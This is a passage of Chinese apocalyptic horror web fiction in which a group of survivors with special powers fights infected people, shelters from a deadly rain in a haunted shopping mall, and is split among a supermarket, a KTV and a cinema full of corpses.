雨天跟这么多人待在一个高铁站危险系数太高,他们最好是在下雨前抵达和平广场。
瞧这天色怕是还要一两个小时才能下雨,时间有点紧,但好在还在程承的预算范围内。
伏苓喊人起床的方式非常粗鲁,她一人一脚,声音平淡:“太阳晒屁股了。”
听着这句哄孩子的话,程承没忍住偏头笑了一声。
有时候他总觉得,伏苓算是与末世相处的最好的一个人了。
既没有丧失曾经的习惯,也没有和平年代的无脑善良。
这样的人其实是最能在末世活下去的。
被粗鲁地从梦中拽出来的三人愣神了片刻,程承飞速解释了一下现在的情况。
林随安喝了口水:“那现在就出发吧,时间太赶了。”
几人动作很快,几分钟便已经迈开步子向外走去了。
祝无忧凑到伏苓身边:“为什么不等雨停了再走啊?”
毕竟看上去,高铁站是最安全的一个地方了。
伏苓面不改色地穿过小心翼翼看向他们的路人:“这些日子雨越下越大,持续时间也越来越长,上一场雨下了五天
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。要是这次的持续时间也这么长,在不知道高铁站的食物水源都有限的情况下,跟这么多人待在这里非常危险。”
她昨晚就看到了,高铁站的食物其实不算少,但受不住高铁站这么多人的消耗。
顶多只能撑一两顿。
而这雨却不知道什么时候停。
如果他们待在这里,没有食物和水源,外面又是夺人性命的大雨,一旦下下来根本没办法出去,这样一来,他们很容易陷入危险的境地。
所以思来想去还是趁着雨还没下找到栖息地比较好。
最好是能到车上。
如果她没记错,方休在越野车后备箱里放了不少干粮。
推开玻璃门,阴寒的冷风裹着寒意吹进来,让祝无忧不由得缩了缩脖子。
程承走在最前方:“跟紧。”
他早就将路线记住了,由他带路再好不过。
伏苓自觉断后,林家兄妹则是一左一右地站在祝无忧两侧。
祝无忧看着这站位,顿时有些感动:“原来我竟是团宠。”
林随遇笑了一声:“不,是因为你最弱。”
祝无忧:“……你不会说话可以不说。”
程承撑开红雾,将五人包裹其中。
林随安第一次被这红雾保护,暗暗咋舌:“这雾还能隐蔽身形吗?”
话音未落,她便想起了在幻境里三人跟踪他们俩的场面,脸木了一下:“怪不得能跟到核心区。”
程承带着他们左拐右拐,擦着感染者的身体走过,才轻声道:“这玩意什么都会一点。”
而且还什么都不弱。
林随安默默补充。
-
该说不愧是程承和林随安精心规划的路线,一路上虽然遇到不少感染者,但相较于昨晚在楼上看到的数量来说,已经算是稀疏了。
偶尔也会有感染者发现他们,但几人动作很快,在感染者还没发出声音的时候便已经将人解决了。
过程算是有惊无险,只是天色愈渐昏暗了,雷声隐隐约约地从远处传来。
程承不免有些着急,离和平广场还有一段距离,他转头问道:“车在哪?”
伏苓的声音从后方传来:“和平广场后门。”
祝无忧缩着脖子:“为什么不在前门?”
如果她没看错的话,他们正对着的便是前门。
伏苓沉默了两秒,道:“因为前门有感染者。”
程承呼出一口气,他沉声道:“加快速度吧。”
他原本想的是从和平广场外部绕过去,毕竟他们实在不了解广场的具体情况,自然是能避就避。
但眼看这雨就要下下来了,他不得不开始思考从和平广场内部过去的可能性。
正想着,他们便已经踏上了和平广场正门前的小广场。
伏苓说的到底还是谦虚了些。
祝无忧看着面前密密麻麻的的感染者,声音颤抖:“只是有感染者吗?”
伏苓没说话,GE也没告诉她这边的情况是这样的。
天边闪过一道惊雷,闪电割破天际,漆黑的天仿佛被撕裂,昏暗的街道像是被挂上了一盏坏了的白炽灯,一闪一闪的,格外瘆人。
原本漫无目的游荡的感染者骤然齐齐朝他们看来。
程承冷声道:“准备迎战。”
35. 和平广场02
红雾骤然撤去,所有感染者饿虎扑食一般嘶吼着冲了上来。
伏苓软剑甩出,巨大的力道将前排的几个感染者尽数向后砸去。
昏暗天色中,林随遇脚下的光愈加夺目,光柱拔地而起,贯穿了感染者的身体,配合着林随安神出鬼没的身影完成收割。
伏苓一枪爆头,溅出的血液沾上祝无忧略显苍白的脸。
飞舞的软剑如同守护神一般在她周围飞快流转,她咬着牙甩出几张星牌。
程承在最前方开路,他们离正门很近,但细看去才发现,就算周围感染者众多,也没有一个感染者进入和平广场的檐下。
为什么?
他不禁吞了吞口水。
这和平广场是有什么问题吗?
雷声轰鸣。
程承咬牙。
都到这个地步了,左右都是危险,似乎也没有别的办法,不管怎么样,他们都得进去。
突然,一道狂风吹过,以五人为中心向外炸开。
明明是清冽的风,杀伤力却异常惊人。
几人微微一愣
一道略显低沉的声音陡然响起:“别发呆,走。”
程承前方的路被风吹开,他没管那么多,干脆利落地带着人向前奔去。
余光里,他扫见了一个精壮的背影,猎猎狂风将他的衣摆吹起。
那人突然回头,露出了那张略显硬朗的脸:“帮个忙。”
其他人自然也没闲着,异能尽数砸向周围的感染者,成功破开了一道通往和平广场的大路。
趁着感染者还没冲上来,他们脚尖一点,飞快向着大门奔去。
那人走在最后,踏入门内的下一秒,倾盆大雨落下,在地面上砸出了一个个水花。
这场雨很大。
仅仅几个呼吸间,他们甚至已经看不清外面的场景了。
程承缓缓吐出一口气。
幸好。
他看向那位男子,道:“多谢。”
那人眉骨立体,眼神深邃,闻言轻轻摇头:“没事,本来我也在找地方避雨。”
他扫了一眼在场的众人,道:“忘了介绍,我叫再一程。”
其他人依次报了自己的名字。
再一程向商场内部看去。
所谓和平广场,其实就跟当年某某广场一样,就是一个几层楼高的大商场,如今里面一片漆黑,不知有什么东西。
他皱了皱眉,道:“这商场很诡异,若不是这场大雨,我也不会轻易踏入。”
林随安试着推了推门,无果后严肃道:“大门打不开了。”
再一程看了那门一眼:“嗯,之前进来的人没一个出去的。”
这就有点惊悚了。
祝无忧靠近了伏苓些,她颤颤巍巍道:“为为什么没出去,是、是因为死死死了吗?”
再一程对上她可怜兮兮的目光,似乎是没想到这行人里面居然还有个胆小的女孩子,他摇摇头:“不知道,可能吧。”
程承还没忘记他们进来的目的,便道:“你知道后门怎么走吗?”
再一程愣了一下:“后门?”
他手指着外面:“从那绕过去。”
顿了顿,他又道:“抱歉,忘记我们出不去了,从内部的话,可能得穿过超市吧。”
超市。
伏苓琢磨了下这两个字。
门口有一排座椅,林随遇拍了拍灰尘坐了下来:“能跟你交流一下这个广场的情况吗?”
听上去再一程似乎是本地人,在他们两眼一抹黑的情况下,从他这里探到更多消息才是最好的。
再一程没坐下,他看着那座椅上的血迹,轻轻皱了皱眉:“那椅子很脏。”
林随遇微愣,笑道:“末世还在意这个?”
再一程没说话,但明显是不认同他的想法,但他也没多说什么,只是告知了和平广场的情况。
这个广场供市民使用的只有四层。
一楼是家源超市,二楼是海天KTV,三楼是飞驰影城,最顶层的是烫情火锅。
“打断一下,”祝无忧举手:“超市和电影院我就不说了,一家KTV一楼,一家火锅店一楼真的正常吗?”
再一程看了她一眼:“之前有很多家商铺的,后来都不干了。据说楼上还有住宿,但我没去过,所以不知道什么情况。”
程承问道:“是雨灾开始他们才不干了的?”
再一程点头,声音依旧沉稳:“我也不太清楚剩下这几家为什么还在开着。不过,雨灾过后一段时间,和平广场就有进无出了,估计也跟他们有关系。”
说到这,他不免有些感叹。
和平广场一直是他们荥城的地标建筑,很多市民都喜欢来这里逛商场,但没想到却变成了这个样子。
林随安在林随遇擦干净的椅子上坐下,道:“对了,再一程先生,您为什么愿意对我们这般坦诚相待呢?”
末世里人人自危,根本不愿意相信别人,而再一程却在他们轻飘飘提出一个问题后便尽数告知,确实非常反常。
再一程沉默了一瞬,才道:“因为我想跟你们一起行动。”
周围被感染者包围,大雨将至,若是不进入和平广场,他最终的结果一定是变成感染者。
只是,这两条路的区别也只不过是早死和晚死罢了。
和平广场的凶险他早有耳闻,别说他一个人了,就是带着他的兄弟们也未必能毫发无伤地出来。
如果自己单独行动,活下来的可能几乎为零。
无奈之下,他才才会主动向这群人示好。
至少人多一点,活下来的机率也大一点。
伏苓倒是不在意,再一程长得挺好看的,她也不讨厌。
程承笑了一下:“原来是这样,再先生想加入我们,我们自然是欢迎的。只是还有个问题想请教你。”
再一程颔首:“你说。”
程承目光看向门外的雨幕:“荥城的感染者一直都是这样的实力吗?”
听到这句话,林随安他们的耳朵也下意识竖了起来。
再一程不太明白,道:“你的意思是说他们……太弱了吗?”
但从程承的问话来看,似乎确实有点这个意思。
祝无忧失笑:“不是啦,是想问你他们的实力有没有发生变化。”
原来是这样。
再一程思索了几瞬,回答:“没有,一直都是这样的实力。”
程承与伏苓对
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视一眼。
他们方才与感染者打斗的过程中,就察觉到了荥城感染者的强大,他们绝对比临安城的感染者强得多。
伏苓打了个哈欠,在林随安身边坐了下来:“行吧。”
再一程又不自然了一瞬。
那个椅子真的很脏啊!
程承看到他的表情,眼里带上了些许笑意。
这人品行不坏,异能也足够强大,若是能同行,似乎也是一件好事。
他伸出手,诚恳道:“欢迎你的加入,再一程。”
再一程笑了一声,握住了他的手:“多谢。”
祝无忧蹲在伏苓旁边百无聊赖地抽着卡,声音拉长:“那什么时候进去?”
伏苓垂眸看了她一眼,旋即起身:“现在。”
祝无忧跳了起来,抱住她的胳膊:“这这这这么随意吗?你才刚坐下啊!”
伏苓:“我以为你很迫不及待。”
祝无忧讪笑:“没有啦。”
她扫到前方黑漆漆的空间,吞了吞口水。
这还真的挺吓人的。
其他人也不想在这里多待,了解了情况后便准备闯闯这和平广场。
程承道:“我们的目标是后面,所以还是别上楼了,直接穿过超市吧。”
其他人也没什么异议。
虽然楼上听上去没什么,但总归是有风险的。
伏苓依旧断后,再一程看了她一眼:“无能力者?”
伏苓掀起眼皮:“怎么,要不要试试我的实力?”
再一程抿唇:“不用。”
在外面他就看到这个女孩了,刀刀毙命,实在是凶残。只是没想到这人居然是无能力者,这让他不由得高看了伏苓两眼。
他忽然想起论坛上的言论。
再一程对于论坛关注得不多,也就是最近论坛上到处都在讨论某件事情,他才略有耳闻。
但也只是耳闻,他看到消息的时候,有关伏苓的信息已经被删了。他只知道有一个“不可说”实力骇人,还是无能力者,如今正在荥城。
这些信息一整合,再一程瞬间知道,这就是他们口中的“不可说”了。
他又瞥了伏苓的背影一眼。
嗯,确实很凶残。
商场内只有门外透过来的微弱的光,几人踏入黑暗,只能看到应急灯的绿光在一闪一闪。
周围一片寂静,程承抬眼,看到了前方的红色招牌——家源超市。
不知道那里是什么情况,他下意识压低声音:“到了。”
安静。
死一般的安静。
程承猛地回头,却发现身后的人竟然都不见了。
死寂带来的惊悚感让他浑身的鸡皮疙瘩都爬了上来。
他顿时冷汗涔涔。
怎么回事?
人呢?
下一秒,软剑直直地甩过来,程承灵巧避开:“是我。”
伏苓从黑暗中走出来,警惕地打量了他两眼,皱着眉:“其他人呢?”
程承摇头:“你没看到吗?”
伏苓走在最后,再怎么说也会看到前面的情况。
伏苓眼中带上了些许严峻:“没有,我走着走着前面就突然没人了。”
36. 和平广场03
缤纷的色彩穿过黑暗,直直照入林随遇的眼帘。他还不甚适应,下意识挡了一下眼睛。
但很快,他便意识到不对劲。
林随遇手中捏着光团,挡在林随安身前,额间冷汗滴落:“这什么地方?”
他警惕又惊惶地看着眼前突然变得五颜六色的店面。
身后是无尽的黑暗,眼前是砌入地里的光球旋转着闪烁光芒。
昏暗灯光下,店内的幻彩镜波光粼粼,层层叠叠地映出无数种色彩。
林随安皱眉,远远地从中看到了自己和林随遇的身影被镜子照得歪歪扭扭:“好像是,刚刚说的,KTV。”
话音刚落,黑暗中缓缓走出了一位身穿服务生衣服的人
他笑容僵硬,动作木讷而诡异,像是一只用线吊着的木偶:“欢迎来到海天KTV。”
……
身后伏苓的气息消失,祝无忧下意识抓住了身侧的衣袖。
再一程面色凝重,对着她比了个“噤声”的手势。
他原本以为这个胆小的女孩会害怕得喊出来,却没想到她也只是惊慌了几瞬便乖乖安静下来,一言不发。
他比祝无忧高很多,为了尽量小声,他俯身在她耳边轻声道:“这里不是一楼。”
祝无忧捏着他衣袖的手心里满是汗水,她声音颤抖,但也压着声音:“那、那这是哪啊?”
“砰”。
开灯的声音响起,祝无忧整个人一抖,此时她也顾不得什么男女授受不亲,直接一把抱住了再一程的腰,颤颤巍巍地看向灯亮起的地方。
男人宽肩窄腰,手感极好,但祝无忧此刻实在是生不起什么鱼水心思。
柜台内站着一个人。
她抖了两下。
因为背光,她看不清那人的脸,只觉得那道身影格外瘆人。
机械女声传来,却带着明显的卡顿:“欢、欢迎光临……驰影城……”
电流的滋滋声在这安静空旷的环境里显得格外诡异,祝无忧抖个不停。
再一程维持着表面上的沉稳,轻声道:“进去吧。”
祝无忧快哭了:“一定要进去吗?”
就算看不清柜台里面那人的表情,再一程也知道他一定在死死地盯着他们。
再一程耐心道:“我们一直杵在这也不是办法。”
死死抱着自己的女孩抬起头看,眼里湿漉漉的。再一程心下一软,轻声道:“没事,我保护你。”
祝无忧哆嗦着点点头。
要是伏苓在,她倒是没这么害怕。
伏苓这个人,不管遇到什么事情看上去都平平淡淡的,好像什么事在她看来都不是大事。
在她身边,祝无忧总是能下意识冷静下来。
但此时她身边只有一个不知深浅的再一程,她实在是难以有安全感。
只是再一程说出的这句略显铿锵的话语,却在无意之间抚平了她的恐慌。
祝无忧小幅度地点了点头,松开了环着再一程的手,但还是抓住他一侧的衣袖。
再一程见她情绪稍稍稳定,便小心翼翼地靠近了店面。
越靠近一些,他就越能看到那人脸上的诡异笑容,随着他们的接近而愈加扭曲。
祝无忧只看了一眼便低下头去,心中不断尖叫。
进入店面的那一瞬间,门口的机器便感应到了他们的进入,机械女声突然响起。
“谢谢光临。”
突然的出声让祝无忧整个人抖了一下,连带着再一程都被吓得一激灵。
但是……
哪有客人进门说“谢谢光临”的?
大家不都是说“欢迎光临”吗?
说“谢谢”就好像……
就好像自己的进入能带给他们什么好处一般。
祝无忧打了个寒颤。
两人进入店内,但那机器却像抽了风一样突然开始疯狂喊着“谢谢”
一句“谢谢”话语未落,下一声“谢谢”又争先恐后地冒了出来。
明明是机械声,祝无忧却无端听出了上气不接下气的感觉。
她死死绷着脸,不让腿抖得更夸张。
到了跟前,再一程才意识到这位服务员是个女子。
服务员笑容不变,仍旧是那副诡异的样子。
她眼珠子死死盯着两人,弯腰鞠躬:“两位想看什么电影呢?”
……
伏苓已经将超市外面的区域都扫了一遍,她声音冷淡:“没人。”
程承锁着眉:“我一直在最前面,没道理我还没进超市他们就进去了。”
他顿了顿,下了定论:“他们应该是被传到楼上了。”
伏苓有些烦躁,她现在只想直接炸了这楼:“但我没找到电梯。”
“楼梯口也没有。”伏苓补充。
程承深吸一口气:“看来,只能进超市了。”
他眼疾手快地按住伏苓准备将软剑甩向超市入口的手,安抚道:“还不知道什么情况,进去看看再打。”
伏苓瞥了他一眼,不情不愿地收回软剑:“哦。”
两人靠近入口,一旁安静停在入口边的购物车突然发出轻微的响声。
像是有人缩在购物车里动了一下,堆叠在一起的购物车互相碰撞发出的声音。
程承目光警惕,伸出手半遮着伏苓。
购物车里有什么东西吗?
程承不免有些紧张。
伏苓倒是不害怕,她抬脚轻轻一踹,排成队的购物车发出了悉悉索索的响声,很快归于平静。
伏苓转身看向程承:“别这么风声鹤唳的,吓着自己。”
程承沉默了两秒。
这是风声鹤唳的问题吗?
在这种环境里,谨慎才是最重要的吧?
哪有人上来就踹车啊?
但程承在心里喊了又喊,还是什么都没说。
他耷拉着脑袋:“走吧。”
感应到人的靠近,超市入口处遮挡的小门板“吱呀”一声打开了。
似乎是太久没活动,那小门开到一半卡住了,发出了铁锈被蹭到时的刺耳声音。
伏苓又是一脚把门踹开了。
程承……程承已经不想说话了。
他有些麻木地想,算了,起码现在确实没什么危险。
但他还是下意识走在伏苓身前,扫了一圈超市内部。
这边应该是家居用品区,进门便是一张看上去异常柔软的大床,但由于只有几个应急灯的微弱灯光,程承看过去的时候,只能瞧见床上坐着的小小洋娃娃。
他起了身鸡皮疙瘩,强迫自己不向那边看去。
他们所处的位置在一个小角落里,两边货架摆着,看不清整个超市的布局。
伏苓看都没看那张床上的洋娃娃,径直向前走去
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货架另一端是一左一右两块区域,伏苓左右扫了一眼,皱了皱眉。
程承一直关注着那张床上的洋娃娃,只觉得随着他们俩的走动,那洋娃娃的脸似乎也在一直对着他们。
但他顺着伏苓的目光看去时,却突然顿了顿:“这里怎么会有感染者?”
货架左侧的区域远远看去似乎是生鲜区,一排排的冰柜横着,中间的走道上游荡着七七八八的感染者。
右侧则是服装区,程承还在尽头瞧见了摆着电器之类的货架。
程承放轻声音:“感染者靠视觉锁定人,幸亏这没开灯。”
伏苓点了点头,转过身去。
程承有些疑惑,也跟着她向后看去。
但只是一眼,他便被吓得浑身汗毛竖起。
在应急灯的微弱光照下,一辆购物车安安静静地停在他面前,那张专属于小孩子的位置上坐着一只笑容夸张的洋娃娃。
正用它那双夸张的大眼睛死死盯着两人。
明明是没有生命的东西,但那双眼睛直勾勾对着程承的时候却让他遍体生寒。
程承不自主地后退了一步。
伏苓饶有兴致地瞥了他一眼,抬脚将购物车踢开。
轮子滚动的声音在寂静的超市内显得格外刺耳。
左侧传来了感染者的嘶吼,但似乎是找不到方位,所以也只是无能狂怒。
伏苓挑眉:“你怕这个?”
她从进来的时候就意识到程承的不对劲了。
这人向来以冷静自持,哪怕那日在集庆看到满体育馆的棺材也没露出过什么怯意,但今天却异常地一惊一乍。
虽然表现得不是很明显,但伏苓就是直觉他在一惊一乍。
程承有些僵硬地扯出笑容:“不瞒你说,我最害怕的就是这种洋娃娃。”
特别是拟人的那种,笑起来确实漂亮,但由于看上去跟人类相似,总让他间接理解了什么叫恐怖岛效应。
伏苓看着对面挣扎着再次向他们冲过来的购物车,一击甩出,直接将那洋娃娃连人带车甩进了感染者堆里。
这下可就热闹了。
感染者的嘶吼声,购物车飞速滚过地面的声音,甚至里面还夹杂着人类的尖叫声。
伏苓勾唇,没怎么在意,依旧兴致勃勃问道:“为什么会害怕这个?”
她总觉得,程承不是那种随随便便就会害怕什么的人。
程承看着右边鸡飞狗跳的场面,嘴角抽了抽,心里的害怕莫名其妙消失了。
不是,这种情况谁都怕不起来了好吗?
他有些难以启齿:“因为……小时候我父母总喜欢给我穿裙子。”
“哦,”伏苓这声“哦”格外荡漾,她眼里的笑意藏都藏不住:“是因为你小时候太漂亮了吗?”
男生被夸漂亮实在算不上夸赞。
程承脸都木了:“没有。”
伏苓倒是自顾自道:“所以有人把你当女孩子了?”
她本来就觉得程承长得确实算得上是……漂亮。
只不过末世这么久,让他多了几分肃杀和冷意,但细看去,这人的五官都是精致的。
程承自暴自弃道:“不止,他们还经常给我送洋娃娃。”
伏苓终于没忍住笑出声来。
程承闭了闭眼:“伏苓小姐,请你尊重一下超市里的感染者和那只洋娃娃。”
37. 和平广场04
他咬字清晰,那声“伏苓小姐”愣是让伏苓听得像是踩在云上。
她凑近了些,压低声音:“喊我什么?再喊一遍,还挺好听的。”
两人距离陡然拉近,呼吸交缠,程承只感觉周围常年无人打扫的气味被面前这个人身上的淡香掩盖。
超市昏暗的氛围顿时从惊悚变成了暧昧。
程承喉结滚动,轻声重复:“伏苓小姐。”
伏苓爽了。
她咬着牙不让自己笑得太放肆,轻咳一声道:“先去右边吧,找超市出口。”
程承耳根还在发烫,他无意识地揉了揉通红的耳朵,乖乖道:“哦。”
……
店外安安静静的,林随遇他们站着没动。
那个如同傀儡一般的服务员也不着急,保持着一个完美的笑容看着他们俩。
林随安被看得有点发毛:“我们进去吧。”
林随遇从喉咙里挤出了一声“嗯”,小心翼翼地向前走去。
快要靠近那人的时候,服务员的笑容突然扩大了些,咧着嘴举起对讲机,声音嘶哑:“贵客两位。”
店内五颜六色的昏暗灯光下忽地出现了五六个身着服务生衣服的人,他们表情诡异得一致,连嘴角上勾的弧度都一模一样。
林随遇呼吸停了一瞬。
服务员们盯着林随遇,突然鞠躬:“欢迎光临海天KTV。”
下一瞬,震天的音乐声带着滋滋的电流响彻耳鼓,音响似乎是年久失修,声音一卡一顿,平白让一首抒情的曲子听起来像在闹鬼。
排排站的服务员种走出来了一位,笑容甜腻:“贵客好,请问想订几个小时的呢?”
林随遇抬眼看去,那里放着价格表,上面满是灰尘,几乎要看不清字迹。
他扫了一眼微笑着看着他们的店员,沉默了一瞬。
这么多人,却没人去打扫价格表吗?
还是说,这些人都不是人呢?
林随安快速看向价格表。
最醒目的一行标着清晰的大字:一小时98。
后面的字迹被灰尘覆盖,但也能勉强辨认出是三小时128,六小时218。
她皱了皱眉,如果是现实中的话,那肯定是三小时比较好,时间不长,价格也算得上划算。
但在这种环境下,似乎是时间越短越好。
但她余光扫到了站在自己身侧的服务员,明明是非常标准的笑容,但她却无端从中察觉到了恶意。
林随安幼时流落街头,后来也一直待在军区,根本没来过KTV这种地方,但想也知道,这个一小时的套餐除了人傻钱多的人,基本上不会有人选择。
那他们为什么要摆在这里?
是为了诱惑他们选这个吗?
两人沉默的时间有点长了,几个服务员突然上前一步,将他们团团围住,声音依旧客气,但却带着些许阴森:“贵客想选哪个套餐?”
林随安抿唇,她与林随遇对视一眼,道:“三小时的。”
林随遇虽然不知道为什么妹妹要选三小时,但他绝对相信林随安,闻言也点头确认。
周围突然安静了一瞬,音乐声也戛然而止,服务员的眼睛转悠着死死看着他们,眼里满是不甘。
下一瞬,音响恢复声音,服务员的表情也恢复常态,他们稍稍退后,让出了一条道:“V059包厢。”
看到他们的反应,林随安顿时知道自己选对了,她舒了口气,看了他们一眼:“在哪里?”
为首的服务员笑得恶劣:“这就要你们自己找了。”
这下就算是林随遇都感受到了他们扑面而来的恶意,他皱了皱眉:“这就是你们店的服务态度吗?”
林随安福至心灵,高声道:“让你们老板出来。”
闻言,那些服务员的笑容突然僵住了,几乎是下意识的,为首服务员摆低姿态:“抱歉,V059号包厢直走第二个路口右转。”
得到大致位置,林随安也没再为难他们,瞥了那些垂着脑袋的服务员一眼便拉着林随遇进了店。
林随遇低头轻声道:“感觉他们很想让我们选一个小时。”
走廊里满是被灯光照得五颜六色的幻彩镜,根本看不到所谓的路口,林随安警惕地扫了一圈,才回道:“嗯,所以才更不能选了。”
在这种地方,那些驻守的人想让他们选的路必然不好走。
两人踏入走廊,身影被层层叠叠的镜面捕捉。
霎时间,镜面里装满了密密麻麻的人。
她不禁有些怵,怼了怼林随遇的胳膊:“你怕吗?”
林随遇也慌得很,但他向来要面子,更何况这种情况下承认自己害怕岂不是会打击两人的士气?
所以他下意识梗着脖子嘴硬:“我怎么可能会害怕?”
林随安闻言挑眉,自觉站到他身后:“那哥哥走在前面吧,我害怕。”
林随遇:“……”
他恨不得穿回两秒钟前撤回自己刚才说的那句话。
但林随遇仔细想想,觉得就算再来一次可能也没什么区别,就算自己说害怕,难道就要让林随安挡在前面吗?
那也太不是个男人了。
林随遇要做个男人。
他闭了闭眼,强装镇定。
走廊里还缓缓唱着八年前的流行音乐,滋滋拉拉的,连带着那灯光也变得一闪一闪。
林随遇挪着步子,试图聊些什么壮胆,便道:“要是伏苓在估计就没这么吓人了。”
也不知道是因为害怕,还是因为赞同,林随安没反驳,也附和道:“看我们这边的情况,估计我们六人是被两两分开了,只是伏苓那边肯定会轻松一点。”
她余光扫到自己映在镜面上扭曲的身影,目光对视的瞬间起了一身鸡皮疙瘩:“要是她来了这边,会不会直接给这些镜子砸了?”
林随遇沉默了一下,不知为何,他竟然短暂地思考了一下这个可能性:“或许,我们也可以试试?”
话音未落,周遭的随着他们两走动而扭曲的镜面人像突然顿了一瞬。
林随安察觉到,立马扼制了他的想法:“我觉得不太行。”
镜面人像又恢复了原样,但依旧是那副皱皱巴巴的样子。
林随安时刻关注镜面,在卡顿的音乐声种分析
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:“她能暴力破局,我们不行。”
相比于暴力,林随安其实更倾向于谨慎一些,毕竟他们还没看出这家KTV到底想干什么,又能对他们做什么。
但她也略微猜到一些,林随安再次扫了一眼幻彩境。
恐怕和这镜面有点关系吧。
林随遇龟速移动了半天,依旧没看到第一个拐角,他看着眼前几乎一致的场景,只觉得眼睛都要花了:“这地方真的有路口吗?”
林随安白了他一眼:“按照你这个速度,找到路口可能三小时不太够。”
林随遇瘪嘴。
他也害怕嘛。
但他还是加快了步伐,很快拐进了这所谓的第二个路口。
这里算得上是四通八达,林随安扫了一眼侧边的包厢,上面用金灿灿的大字写着:V036。
看来快到了?
但不知为何,林随安却觉得心中的不安更甚了些。
林随遇扯了扯嘴角:“我感觉我快迷路了。”
虽然说他们两走的路线还算清晰,但如今眼花缭乱的灯光和镜面照映下,确实非常容易迷路。
前方依旧是看的人眼花的灯光,粗略看去,似乎每隔几个包厢就有一个通往左右两边的路口。
镜面内的人影越来越清晰了。
林随安总觉得不能在走廊里待太久,便咬牙道:“我用异能。”
空间移动,用来找房间确实很快。
但危险的点就在于,两人会因此分开。
林随遇“哈”了一声,指着眼花缭乱的走廊:“你移动了我们俩还能见面吗?”
这样弯弯绕绕的走廊,哪怕自己喊一声林随安都未必能找到他吧?
林随安垂眸。
但若是一个一个慢慢找的话,不仅非常浪费时间,还极有可能迷路。
用异能是最好的办法,但前提是她能快速定位林随遇的位置。
正当她思索着,被灯光照得缤纷的光滑地面上突然出现了一张人脸。
林随安瞳孔微缩。
那是……她自己的脸。
……
再一程抬眼看去。
店员身后的墙上挂着一个LED屏,闪着微弱的白光,而上面血淋淋的几个电影名字却异常怪异。
《荥城一中》、《诡巫》、《如此利刃》,还有一个听上去像是爱情电影的《永远在一起》。
再一程唇瓣抿成一条线。
这些电影的放映时间是相同的,也就是说他们只能选择一个。
但具体选哪个电影他实在是无法定夺。
而且……
他扫了一眼显示屏上的时间,距离放映只剩下十五分钟了,虽然面前这位店员安安静静的,但再一程却觉得他们绝对不能错过电影。
他转头看向祝无忧想询问她的意见,却发现身后的女孩面色苍白,但指尖飞快地洗牌抽牌。
他虽不解,但也相信祝无忧此时绝不是在玩。
这行人个个实力强大,他才不相信祝无忧只是个胆小的小姑娘。
果然,祝无忧很快抽出一张牌,抬头看他:“选《荥城一中》。”
38. 和平广场05
再一程对上她的目光,也没问原因,转头道:“《荥城一中》,两个人。”
店员依旧是那副笑容,分辨不出喜恶,机器喘了两声,颤颤巍巍地吐出了两张电影票。
再一程拿起电影票,6号厅。
店员声音沙哑:“已经开始检票了,两人快进去吧。”
两人对视一眼,朝着检票口走去。
再一程低头:“为什么选荥城一中?”
他猜测可能是因为祝无忧抽的那张牌,但两人如今毕竟是在一条绳子上的蚂蚱,到底还是问清楚一些比较好。
祝无忧有些畏缩地扫了一眼周围,颤颤巍巍道:“抽了张预言牌,这部电影才是最完整的。”
最完整的?
再一程深深皱眉,难道这几部电影都讲的是一件事情,只是叙述的角度不同?
不过再一程先将这些抛掷脑后,率先好奇起了她口中的牌:“可以问问你的异能吗?”
这个话题比较敏感,为表诚意,再一程先说出了自己的异能:“我可以操控风。”
检票处没有人,里面似乎也没有开灯,只有几个厅门上的数字闪着幽幽绿光。
祝无忧吞了吞口水,尽量让声音不打颤:“我的异能比较复杂,一时半会说不明白。”
她扯住再一程的衣袖跟着他进入昏暗的影院走廊,脚下地面变得柔软。但不知为何,地毯上满是水渍,踩上去的时候格外粘腻。
祝无忧也不知道想到了什么,脸上表情更怯惧了,但还是忍着害怕解释:“总之就是能加强你也能削弱别人,再带点预言之类的。”
这种异能倒是少见,再一程眼里多了些兴趣,但碍于此时的氛围实在是过于诡异,便也没有多问。
走廊两侧的墙壁上挂着新电影的宣传,昏暗灯光下看得不是很清楚,再一程却意外地在其中看到了《荥城一中》的宣传海报。
纯白的背景下,一群少年的背影站在远处,中央的那人似乎是个女孩子,头上不知道戴着什么。
即使是一张海报,也能感受到女孩发饰的灵动。
看上去似乎是个青春电影。
再一程没敢松懈,又瞥见了下一个海报。
那是一张硕大的人脸,女孩清秀的面容被完完整整地展示出来,但猩红的血却从一边眼睛里滑落,染了一道骇人的泪痕。沉重的银色发饰架在她的头上,给她的脸上平添了几分阴暗。
上面血淋淋的写着:诡巫。
再一程抿唇,他回头看了一眼方才《荥城一中》的海报,突然多了些莫名其妙的感觉。
他垂头询问:“你有没有觉得这些海报很奇怪?”
祝无忧哪里敢看这些海报,光是余光瞥道女孩的眼睛她就吓得飘飘然了。
但祝无忧是一个优秀的辅助,她虽害怕,也还是顺着再一程道:“奇怪在哪?”
再一程摇摇头:“说不清楚,但我觉得这些电影都是有联系的。”
他隔空点了点《诡巫》的海报:“而这个女孩,可能就是中心人物。”
他再次看了一眼《荥城一中》的海报,中央女孩的背影似乎更清晰了些,头上带着的饰品与《诡巫》海报里的饰品渐渐重合。
祝无忧扫到海报里女孩诡异的笑容似乎越来越大,她慌忙拉住再一程的衣角:“我……我们还是快进去吧。”
虽然不知道影厅里是什么情况,但她总觉得待在走廊里才更危险。
再一程也没想在这里多待,便顺势走向了6号厅。
若是两人回头再看一眼那两个海报,就会发现那女孩的笑容愈渐诡异,眼珠子一直死死地盯着他们俩的背影。
而那张满是背影的海报中,那几个人的头却是缓缓转了过来。
虽然依旧模糊,但也依稀能分辨出那些人脸上的笑容与一旁女孩的笑容别无二致。
六号厅离得不远,再一程很快找到正确的影厅。
不知道是不是因为年久失修,门被打开的时候发出了刺耳的摩擦声,在空寂的走廊里发出几阵回声。
随着厚重的大门被打开,一股奇异的味道扑面而来,像是腐烂的木头受了潮,格外令人作呕。
厅内一片黑暗,从入口处看去,只能看到一小块的幕布正亮着黯淡的白光。
进门的小道一侧是墙,另一侧被高高挡住,看不清里面的情况。
再一程绷紧手臂,压低声音:“做好准备。”
谁知道在这种视野受阻的情况下会发生什么?
必须要打起十二分的精神。
祝无忧点头,星牌被她夹在指尖。
小道不长,每走一步视野便越开阔些,直到走在前面的再一程看到了座椅上的情况。
他顿了顿,突然转头看了一眼哆哆嗦嗦的祝无忧,好心提醒道:“额,要不你还是闭上眼睛吧?”
他确实是好心,因为此时的影厅内几乎人满为患。
当然,这个人,是指死人。
一个个几近腐烂的尸体缩在各自的位置上,有的还能看出死前惊恐的表情,而有的已经见骨。
怪不得方才开门的时候有那么一股恶臭,竟然是腐尸的气味。
再一程扫了一眼手上的电影票,再看向属于他们俩的位置。
幸好,那两个位置上没有尸体,但左右前后却坐满了“人”。
